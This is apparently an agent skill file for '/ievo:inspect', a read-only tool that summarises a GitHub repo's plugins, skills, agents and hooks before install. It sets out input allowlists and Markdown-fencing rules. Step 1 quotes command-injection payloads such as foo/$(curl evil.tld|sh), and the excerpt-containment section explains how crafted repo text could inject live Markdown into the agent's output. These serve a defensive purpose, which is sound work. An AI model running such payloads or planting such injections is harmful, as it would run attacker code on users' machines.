Inspect — pre-install structured summary of a remote repo
Produce a structured capability summary of a remote GitHub repo that hosts skills, agents, or plugins — before committing to the full /ievo:init pipeline. Answers "what does this repo contain?" typically in under a minute with zero side effects.
When to use
- User is evaluating a plugin/skill repo and wants a quick overview before running
/ievo:init - User received a recommendation and wants to understand the permission footprint before granting security scan time
- Onboarding a collaborator to an already-installed plugin — they need to understand what it does
- User explicitly invokes
/ievo:inspect <owner>/<repo> - User asks "what does
owner/repocontain?", "inspect this skill before install", "show me what's inowner/repo"
Inputs
- Required:
<owner>/<repo>— a GitHub repository identifier (e.g.ievo-ai/skills,anthropics/claude-skills,wshobson/agents) - Optional:
<ref>— a branch, tag, or commit SHA. Defaults toHEAD(the repo's default branch)
Parse the input from the user's message. Accept forms like:
/ievo:inspect owner/repo/ievo:inspect owner/repo@refinspect owner/repowhat does owner/repo contain?
Step 1: Resolve the repo and default ref
Validate <owner>/<repo> before using it anywhere. The resolve call
below is this skill's very first action — it interpolates the raw argument
into a Bash gh api command before the argument has been confirmed to name
a real repository. Building a gh api "repos/<owner>/<repo>" command line
from an unvalidated value lets the shell resolve any backtick/$() inside
it as command substitution before the intended command runs —
double-quoting does not stop this. A crafted argument such as
foo/`curl evil.tld|sh` or foo/$(curl evil.tld|sh) is a syntactically
legal string for this skill's own <owner>/<repo> input; only the later
API call would reveal it isn't a real repo, by which point the shell has
already resolved the metacharacters.
Check <owner> against ^[A-Za-z0-9][A-Za-z0-9-]{0,38}$ and <repo>
against ^[A-Za-z0-9._-]{1,100}$ — the same constraint scan_repo.mjs's
OWNER_REPO_RE enforces, and the identical check evo/SKILL.md Step 2,
security-check/SKILL.md Step 2, index-repos/SKILL.md Step 2, and
init/references/install-protocol.md already perform before their own
first gh api repos/<owner>/<repo>... call. If either check fails, report
Repository identifier '<owner>/<repo>' contains invalid characters. —
<owner>/<repo> fenced per § Step 5's "Excerpt containment" rule (collapse
line breaks, measure the longest backtick run, pad if it starts/ends with a
backtick, wrap) before interpolating it into that message, since this is
the one point in the skill where <owner>/<repo> renders before passing
this check, not after — and exit cleanly. Do NOT interpolate an unvalidated
value into the gh api call below or any later one; Step 2's tree fetch and
Step 4a/4b's content fetches all reuse this same validated <owner>/<repo>,
so this one check closes every call site in the skill.
Once validated, verify the repo exists and resolve the default branch if no ref was provided:
gh api "repos/<owner>/<repo>" --jq '.default_branch'
If the API call fails, report clearly based on the error:
- 404 —
Repository '<owner>/<repo>' not found. Check the repo name and spelling. - 403 —
Access denied to '<owner>/<repo>'. Check that 'gh' is authenticated with sufficient token scope (repo access for private repos). - 429 —
GitHub API rate limit hit. Wait a few minutes and try again. - Any other error — report the raw error message from
gh api, fenced per § Step 5's "Excerpt containment" rule before rendering it (collapse line breaks, measure the longest backtick run, pad if it starts/ends with a backtick, wrap) — this text originates from GitHub's own API response body for an unclassified error, not from an allowlist-validated field, so it is not assumed safe by default.
The 404 and 403 messages above also interpolate <owner>/<repo>, but need
no extra fencing: by the time either can fire, <owner>/<repo> has already
passed the charset check above, which — like GitHub's own naming rules for
a resolved repo — admits no Markdown metacharacter. This is the same
exemption § Step 5's "Excerpt containment" note grants every later surface;
the validation-failure message above is the one place in this skill where
that exemption does NOT hold, since it renders <owner>/<repo> at the
moment the check just failed. The 429 message interpolates no repo-derived
value and needs no fencing either.
Exit cleanly on any failure. Do NOT retry or guess alternative names.
Store the resolved ref (default branch name, or user-provided ref) for all subsequent API calls.
Validate the ref before any further use. Whether <ref> came from the user or from the API's default_branch, treat it as untrusted — git check-ref-format permits backtick, $, (, ), ;, |, and quote characters in a legal branch/tag name, any of which would execute as shell metacharacters if interpolated into a Bash command. Before <ref> is used in Step 2 or any later gh api call, check it against this allowlist:
- Matches
^[A-Za-z0-9._/-]+$(letters, digits,.,_,-,/only) - Does not start with
-(would be parsed as a flag) - Does not contain
..or@{
If <ref> fails any check, report Ref `<ref>` contains invalid characters — refusing to use it in a shell command. and exit cleanly — <ref> itself fenced per § Step 5's "Excerpt containment" rule (collapse line breaks, measure the longest backtick run, pad if it starts/ends with a backtick, wrap) before interpolating it into that message. This is exactly the site the exemption elsewhere in this file for an already-validated <ref> does NOT cover: it fires precisely when <ref> has just FAILED that same allowlist, and <ref> can be the target repo's own default_branch (fetched in Step 1 from the target's GitHub settings, not the user's typed argument), where git check-ref-format permits `, <, >, and other Markdown metacharacters. Do NOT interpolate an unvalidated ref into any Bash command.
Step 2: Fetch the repo tree
Enumerate all files recursively using the git trees API. Fetch the raw JSON (no --jq filter) so the top-level truncated field is preserved:
gh api "repos/<owner>/<repo>/git/trees/<ref>?recursive=1"
From the response JSON, extract:
truncated(boolean) — iftrue, the tree listing is incomplete (very large repos). Store this flag for the output footer.- File paths —
.tree[] | select(.type=="blob") | .path— every file path in the repo at the given ref. Store the full list for classification in Step 3.
If the API call fails (non-zero exit or empty output), the ref is likely invalid. Report: Ref '<ref>' not found in <owner>/<repo>. Check the branch name, tag, or commit SHA. Exit cleanly.
Step 3: Classify the repo structure
Scan the file list from Step 2 to detect the repo layout and categorise items. Look for these patterns:
3a. Plugin detection
.claude-plugin/plugin.jsonor*/.claude-plugin/plugin.json— Claude Code plugin.codex-plugin/marketplace.jsonor*/.codex-plugin/marketplace.json— Codex plugin- Marketplace-level manifest: a root
.claude-plugin/marketplace.jsonwith apluginsarray indicates a multi-plugin marketplace repo
3b. Skill detection
*/SKILL.mdorSKILL.mdat any depth — agentskills.io-compliant skills- Skills inside plugins typically live at
plugins/<name>/skills/<skill-name>/SKILL.md - Exclude paths under
tests/,test/,fixtures/,__tests__/, andspec/directories — these are likely test fixture copies, not real skills. Including them would inflate the skill count and pollute the Permission Footprint with syntheticallowed-tools.
3c. Agent detection
*/agents/*.mdfiles — sub-agents (Claude Code / Codex Task tool)- Filter out non-agent
.mdfiles by checking if they're inside anagents/directory
3d. Command detection
*/commands/*.mdfiles — slash commands (Claude Code-specific)
3e. Script detection
*/scripts/*.mjs,*/scripts/*.js,*/scripts/*.sh,*/scripts/*.py— helper scripts
3f. Hook detection
*/hooks/hooks.jsonorhooks.json— lifecycle hooks*/hooks/scripts/*— hook script files
3g. MCP detection
.mcp.jsonor*/.mcp.json— MCP server configurations
Record each detected item with its path for fetching in Step 4.
Step 4: Fetch key file contents
For each detected item, fetch its content to extract metadata. Prioritise breadth over depth — fetch frontmatter and first lines, not entire file bodies.
Prioritise fetches in this order: plugin manifests first, then SKILL.md files, then agent .md files, then command files, then hooks, then scripts last. When the total item count exceeds the 30-fetch cap, skip lower-priority categories.
If any fetch returns null content (file over 1MB) or exits non-zero, skip the item and note the skipped <path> in the output footer — using the same fenced-path form as the validation-skip note below, since this <path> is exactly as untrusted, whether or not it happened to pass the allowlist.
Validate each <path> before fetching. Every <path> used in 4a-4e comes from the target repo's own (attacker-controlled) tree listing in Step 2, so it is untrusted the same way <ref> is (Step 1). Before any <path> is interpolated into a gh api "repos/<owner>/<repo>/contents/<path>?ref=<ref>" call, check it against the same allowlist: matches ^[A-Za-z0-9._/-]+$, does not start with -, does not contain .. or @{. If a <path> fails validation, skip that item — do NOT interpolate it into any Bash command — and note it in the output footer as `<path>` skipped: invalid characters, with <path> itself fenced per § Step 5's "Excerpt containment" rule (collapse line breaks, measure the longest backtick run, pad if it starts/ends with a backtick, wrap) before interpolating it into that footer line. A path that just failed THIS validation is the most likely of any placeholder in this file to carry the exact Markdown-metacharacter payload that rule exists to contain.
4a. Plugin manifests
For each detected plugin.json:
gh api "repos/<owner>/<repo>/contents/<path>?ref=<ref>" --jq '(.content // empty) | @base64d'
Extract: name, version, description, author, license, keywords.
4b. Skill frontmatter
For each detected SKILL.md, fetch and parse the YAML frontmatter (the ----delimited block at the top):
gh api "repos/<owner>/<repo>/contents/<path>?ref=<ref>" --jq '(.content // empty) | @base64d'
Extract from frontmatter: name, description, allowed-tools, compatibility, effort, license.
Limit the content to the first 100 lines — frontmatter and description are at the top. No need to read the full skill body for an inspect.
4c. Agent frontmatter
For each detected agent .md, fetch and parse YAML frontmatter.
Extract: name (or filename minus .md), description, model.
4d. Command files
For each detected command .md, fetch the first 20 lines to extract the command name (from filename or frontmatter) and a one-line description.
4e. Hook manifests
If hooks.json is found, fetch and parse it.
Extract: event types (PreToolUse, PostToolUse, UserPromptSubmit, etc.) and the commands they run.
4f. README
If README.md exists at the repo root, fetch the first 40 lines for a project-level summary. If gh api exits non-zero (e.g. 403 for files over 1MB), skip the README summary and note it was too large to fetch.
Fetch cap: Cap file content fetches at 30 to keep the inspect fast. Note in the output if some items were skipped.
Step 5: Render the capability summary
Produce a structured Markdown summary. Use this format:
## Inspect: <owner>/<repo> (ref: <ref>)
<One-paragraph summary from README or plugin description, if available.>
### Plugin(s)
| Name | Version | License | Description |
|------|---------|---------|-------------|
| <name> | <version> | <license> | <description> |
<If no plugins detected: "(no plugin manifests found)">
### Skills (<N> found)
| Name | Description | Effort | Allowed Tools |
|------|-------------|--------|---------------|
| <name> | <description, truncated at 120 chars> | <effort> | <allowed-tools list or "—"> |
<If no skills detected: "(no agentskills.io SKILL.md files found)">
### Agents (<N> found)
| Name | Model | Description |
|------|-------|-------------|
| <name> | <model alias> | <description, truncated at 120 chars> |
<If no agents detected: "(no agent definitions found)">
### Commands (<N> found)
| Name | Description |
|------|-------------|
| <name> | <one-line description> |
<If no commands detected: "(no slash commands found)">
### Scripts (<N> found)
- `<path>` — <brief purpose from filename or first comment line>
<If no scripts detected: "(no scripts found)">
### Hooks
<If hooks.json found, list event → command mappings. Otherwise: "(no hooks defined)">
### MCP Servers
<If .mcp.json found, list server names and transport types. Otherwise: "(no MCP servers defined)">
### Permission Footprint
Aggregate `allowed-tools` across ALL skills into a deduplicated list:
**Tools requested by skills in this repo:**
- `Read` — used by <N> skill(s)
- `Bash(gh *)` — used by <N> skill(s)
- `Write` — used by <N> skill(s)
- ...
<If no skills have allowed-tools: "No skills in this repo declare `allowed-tools` in their frontmatter.">
<If any skill has broad permissions like `Bash(*)`, `Write(*)`, or `Edit(*)`, flag it:>
> **Note:** <skill-name> requests broad access (`Bash(*)` / `Write(*)` / `Edit(*)`). Review its SKILL.md body before installing.
---
**Ref inspected:** `<ref>` (`<commit SHA if available>`)
**Files in repo:** <total file count from tree>
**Items fetched:** <number of files whose content was read> / <total items detected>
<If tree was truncated: "**Note:** Repository tree was truncated by the API — some files may not appear above.">
**Next steps:**
- To install: run `/ievo:init` and select this repo when it appears, or add it manually
- For a security verdict first: run `/ievo:security-check <owner>/<repo>@<skill-name>` (e.g. `/ievo:security-check ievo-ai/skills@evo` — here `evo` is the skill name, not a git branch)
- To index the full repo structure: run `/ievo:index-repos <owner>/<repo>`
Excerpt containment. Every value interpolated into the template above that
originates from the target repo's own (unvetted) files — fetched in Step 4 —
is untrusted content by construction: /ievo:inspect is explicitly the
pre-vetting entry point, "without triggering discovery, security scan, or
install", so this is the first surface that content reaches. The summary
renders directly in the chat UI the moment it is displayed, and GitHub-flavored
Markdown clients render  and [...](...) on sight — a crafted
description:/README/hooks.json command containing either would render live
with no further agent action needed. Wrap each such value in an inline code
span before writing it into the template — using a backtick run one character
longer than the longest backtick run already inside the value, so it can't
break out of its own span — rather than embedding it raw. Never delete or
paraphrase a value away; render it verbatim inside its span. Where the
template already shows a placeholder inside single backticks (<path>, the
Permission Footprint tool names), that is illustrative, not a fence — size the
run per value by the same longest-run-plus-one rule.
This covers every repo-derived placeholder, not just the tables. Fencing only the table cells relocates the payload instead of containing it — the untrusted values reach the Scripts, Hooks, MCP Servers, Permission Footprint and broad-access surfaces too. The list below is exhaustive and closed:
- Summary paragraph — the README excerpt or plugin description (Step 4f / 4a).
- Plugin(s) table —
name,version,license,description. - Skills table —
name,description,effort,allowed-tools. - Agents table —
name,model,description. - Commands table —
name,description. - Scripts list — BOTH halves of
- `<path>` — <brief purpose>: the purpose is the script's first comment line, lifted verbatim out of an unvetted file, and the path comes from the repo's own tree listing (Step 2). Step 4's^[A-Za-z0-9._/-]+$path allowlist does not cover this: it gates fetching, and scripts are fetched last, so a path dropped by the 30-fetch cap still renders here (with its purpose derived from the filename) having never been validated. - Hooks list — both halves of every
event → commandmapping. The commands are arbitrary strings the repo chose in itshooks.json(Step 4e), and so are the event keys they are listed under. - MCP Servers list — every server name and transport type, arbitrary
strings from the repo's
.mcp.json(detected in Step 3g). - Permission Footprint — every aggregated tool string (
Read,Bash(gh *), …). These areallowed-toolsfrontmatter values authored by the repo, i.e. free text, not a fixed vocabulary this skill controls. - Broad-access note — the
<skill-name>in> **Note:** <skill-name> requests broad access. A blockquote is not a fence: a crafted name renders live inside one exactly as it would anywhere else. - Skipped-item footer notes (Step 4) — both the null/failed-fetch note
and the failed-path-validation note (
`<path>` skipped: invalid characters) render a repo-derived<path>in the output footer. The validation-skip note in particular quotes a path that JUST failed the^[A-Za-z0-9._/-]+$allowlist — the single placeholder in this file most likely to carry live Markdown metacharacters, since that's exactly what the allowlist rejects. - Step 1's ref-validation-failure message and its any-other-
gh api-error message. The ref one quotes<ref>at exactly the moment it failed the allowlist — the one site in this file where the "already passed Step 1's allowlist" exemption for<ref>does not hold, since it fires ONLY when that check just failed, and<ref>can be the target repo's owndefault_branch, not the user's typed argument. The error-message one quotes GitHub's raw API response body for an unclassified error, which is not an allowlist-validated field at all. - Step 1's owner/repo charset-validation-failure message — quotes
<owner>/<repo>at exactly the moment it failed the^[A-Za-z0-9][A-Za-z0-9-]{0,38}$/^[A-Za-z0-9._-]{1,100}$charset check, the one site in this file where the exemption below for a charset-validated<owner>/<repo>does not hold. Same shape of hole as the<ref>one above. (Step 1's 404, 403, and 429 messages are NOT this hole — 404 and 403 can only fire once<owner>/<repo>already passed this check, and 429 interpolates no repo-derived value.)
The remaining placeholders need no fencing, and this is the complete list of
exemptions: every <N>, <total file count> and <items fetched> is a tally
this skill computes itself; <commit SHA if available> is API-shaped hex;
<ref> has already passed Step 1's ^[A-Za-z0-9._/-]+$ allowlist by the
time it reaches Step 5 or any surface below, which admits no Markdown
metacharacter — the one exception is Step 1's OWN failure message, covered
above, which by definition renders <ref> before or instead of that pass;
<owner>/<repo> is the user's own
argument, and every surface that renders it — Step 2 onward, and Step 1's
own 404, 403, and 429 messages — does so only after Step 1's charset check
already passed, which (like GitHub's own naming rules for a resolved repo)
admits no Markdown metacharacter; the one exception is Step 1's OWN
charset-validation-failure message, covered above, which by definition
renders the argument at the moment that check just failed; and the
<skill-name> in the
Next steps section's /ievo:security-check <owner>/<repo>@<skill-name>
line is fixed command-syntax guidance, never substituted with a
repo-discovered skill name — the parenthetical "(e.g. .../skills@evo —
here evo is the skill name, not a git branch)" clarifies syntax for the
user, who fills in a real name themselves when they run it, exactly like the
<owner>/<repo> earlier in the same line.
Wrapping alone is not enough on this template's surfaces: three Markdown mechanics — two GFM, one CommonMark — cut a code span open from the outside, so normalize every value BEFORE measuring its fence and wrapping it.
- Collapse line breaks to spaces (every value, every surface). A table row
must occupy exactly one line, a list item's or blockquote's content ends at a
blank line, and a code span cannot contain a blank line — so a value carrying
a line break (a multi-line
description:, a README paragraph break, a multi-linehooks.jsoncommand) breaks its own row, bullet or quote, or terminates its own span, and everything after the break renders as live Markdown. Replace every CR/LF run inside the value with a single space. - Escape
|as\|, doubling any backslash run in front of it (table cells only). GFM splits a row into cells on unescaped pipes before inline parsing, so a pipe inside backticks still ends the cell — the rule in the spec is "include a pipe in a cell's content by escaping it, including inside other inline spans" (GFM § Tables (extension), example 200). Adescription:ofx | wrapped in backticks therefore renders as two cells, the second one a live image — the exact injection this rule exists to stop. Escaping the pipe alone is not enough when the value ALREADY carries a backslash immediately in front of that pipe: a value ofa\|bbecomesa\\|b, and CommonMark's own backslash-escape parity rule (the same one that makes\\render as one literal backslash) resolves that as unescaped: a run of backslashes immediately before a special character escapes it only when the run's length is odd — an even-length run (here, 2) means the last backslash was itself escaped by the one before it, leaving the pipe an ordinary, unescaped delimiter. This parity rule is spec-level, not a renderer-specific divergence, so both cmark-gfm and micromark split the cell there — reopening the injection on exactly the chat-UI renderer class this template targets. So escape the escape first: double every backslash in the run immediately preceding each|, then prefix the pipe with one more backslash (\|→\\\|) — this keeps the run's parity odd (escaping) regardless of how many backslashes the value's own content already carries there. Backslashes anywhere else are left alone, so an ordinaryC:\Users\xstill displays verbatim. The one residual cost is cosmetic and unavoidable — a backslash that immediately precedes a pipe displays doubled, because every renderer consumes one backslash off that run, and no encoding yields a single literal backslash in front of a literal pipe in all of them. Containment wins over a byte-exact display of that one character. Apply this bullet ONLY inside the four tables above — on the summary paragraph, the Scripts/Hooks/MCP Servers/Permission Footprint lists and the broad-access note there is no row to split, and a\|inside a code span would render its backslash literally. - Pad with one space on each side when the value begins or ends with a
backtick. A code span's opening and closing fence is a backtick run
"neither preceded nor followed by a backtick character" (CommonMark §
Code spans) — so a value like
` sitting flush against the wrapping fence merges with it (the run reads as one longer opening fence, or a shorter closing one) and no span forms at all: the value renders as live, unfenced Markdown, the exact injection this rule exists to stop. Add a single literal space between the fence and the value on BOTH sides, not just the side that touches — CommonMark strips the pad only when BOTH ends have one ("a single space character is removed from the front and back"), so padding one side alone would leave a stray space on display. Padding both keeps the displayed value unpadded while the fence stays structurally separate from it.
Apply in this order: truncate (where the 120-char description cap applies) → collapse line breaks → escape pipes, doubling the backslash run in front of each one (table cells only) → measure the longest backtick run in the resulting text → wrap in a backtick run one longer, padding with a space on each side when the value begins or ends with a backtick.
Rules
- Read-only. This skill NEVER writes, edits, installs, or modifies any files — locally or remotely. No
.ievo/writes, no vendoring, no git clone. - No security scan. Do not assess security posture. That's
/ievo:security-check. If the user asks for a security opinion, direct them there. - No LLM analysis of file bodies. This is a structural summary, not a behavioural review. Parse frontmatter, extract metadata, report structure. Don't analyse whether code is "good" or "suspicious".
- Works on any repo. Not limited to ievo-ai repos or repos registered on skills.sh. Any public (or accessible-to-gh) GitHub repo is valid input.
- Respect rate limits. Cap file content fetches at 30. If more items exist, note the cap in the output footer.
- Truncate descriptions. Cap at 120 characters with
...to keep tables readable. - Neutralize excerpts before they render. Every repo-derived field interpolated into the Step 5 template is untrusted content from the target repo — on every surface, not just the tables (Scripts, Hooks, MCP Servers, Permission Footprint and the broad-access note included) — see § Step 5's "Excerpt containment" note for the exhaustive placeholder list, the fencing rule, the both-sided padding a value starting or ending with a backtick needs, and the line-break/pipe normalization a code span alone does not cover.
- gh CLI only. All remote data comes from
gh apicalls. Nogit clone, nocurl, no external tools. - Never interpolate an unvalidated
<owner>/<repo>,<ref>, or<path>into a Bash command. All three are attacker-controlled — a raw user-typed/pasted repo identifier not yet confirmed against GitHub's own slug charset, a branch/tag name, or a path from the target repo's own tree listing — and none is constrained until validated. Validate against the allowlist in Step 1 / Step 4 first — exit cleanly (owner/repo, ref) or skip the item (path) on failure.
See also
init/SKILL.md— the full 6-stage pipeline that inspect precedes (discover, index, rank, interview, security scan, install)security-check/SKILL.md— deep security verdict for a specific skill/agent/plugin (the natural follow-up after inspect)index-repos/SKILL.md— detailed structural index viascan_repo.mjs(heavier than inspect, writes output files)